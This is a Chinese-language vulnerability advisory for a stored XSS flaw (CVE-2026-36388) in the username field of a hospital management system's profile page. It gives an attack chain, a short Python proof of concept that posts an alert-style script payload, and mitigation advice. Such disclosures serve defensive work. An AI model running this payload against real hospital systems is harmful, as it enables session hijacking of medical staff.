IPBUF安全漏洞报告
English
CVE-2026-36388 CVSS 5.4 中危

CVE-2026-36388: PHPGurukul医院管理系统存储型XSS漏洞

披露日期: 2026-05-07

漏洞信息

漏洞编号
CVE-2026-36388
漏洞类型
XSS (跨站脚本攻击)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
PHPGurukal Hospital Management System

相关标签

XSSStored XSSPHPGurukulHospital Management SystemCVE-2026-36388

漏洞概述

PHPGurukal Hospital Management System v4.0版本中存在一个跨站脚本(XSS)漏洞。该漏洞位于/hospital/hms/edit-profile.php页面,由于对用户输入的“User Name”参数缺乏充分的过滤和验证,导致经过身份验证的攻击者(如患者角色)能够在其中注入恶意脚本载荷。这些恶意脚本会被存储在应用程序数据库中,并在医生访问相关界面时被渲染执行,从而可能导致窃取会话凭证或执行其他恶意操作。

技术细节

该漏洞属于存储型跨站脚本攻击(Stored XSS)。其根本原因在于应用程序在处理用户个人资料更新请求时,未对“User Name”等关键字段进行有效的HTML实体编码或严格的输入过滤。攻击者首先需要以普通患者身份登录系统,随后导航至个人资料编辑页面。在修改用户名的过程中,攻击者可以构造包含恶意JavaScript代码的Payload(例如`<script>alert(document.cookie)</script>`)并提交表单。服务器后端接收到该数据后,直接将其持久化存储到数据库中,未进行任何转义处理。随后,当具有更高权限的用户(如医生)登录系统并访问需要显示该用户名的界面(例如患者列表或详情页)时,服务器会从数据库读取数据并直接拼接到HTML响应中返回给浏览器。此时,受害者的浏览器会将攻击者注入的脚本代码当作正常指令进行解析和执行。由于漏洞CVSS向量中包含S:C(Scope Changed),攻击可能突破当前页面的限制,影响更广泛的上下文,导致会话劫持或恶意操作。

攻击链分析

STEP 1
1. 身份认证
攻击者以患者身份登录PHPGurukul医院管理系统。
STEP 2
2. 漏洞利用
攻击者访问/hospital/hms/edit-profile.php页面,并在User Name参数中注入恶意JavaScript代码。
STEP 3
3. 恶意存储
应用程序接收请求并直接将未经过滤的恶意脚本存储在数据库中。
STEP 4
4. 触发执行
当医生或其他管理员登录系统并访问显示该用户名的界面时,恶意脚本在浏览器中执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL for the vulnerable profile edit page target_url = "http://target-ip/hospital/hms/edit-profile.php" # Attacker session cookie (obtained after logging in as a patient) cookies = { "PHPSESSID": "attacker_session_id" } # Malicious payload to be injected into the User Name field # This payload will execute when a doctor views the profile xss_payload = "<img src=x onerror=alert('XSS-By-Patient')>" # Data payload for the POST request post_data = { "fullname": "Test Patient", "username": xss_payload, # Vulnerable parameter "contact": "1234567890", "submit": "Update Profile" } try: # Send POST request to inject the payload response = requests.post(target_url, data=post_data, cookies=cookies) if response.status_code == 200: print("[+] Payload injected successfully.") print("[+] Wait for an admin/doctor to view the profile to trigger the XSS.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

PHPGurukal Hospital Management System 4.0

防御指南

临时缓解措施
在官方补丁发布前,建议管理员在服务器端对User Name参数实施严格的白名单过滤,禁止输入尖括号等特殊字符,并在前端显示时强制进行HTML转义处理。

参考链接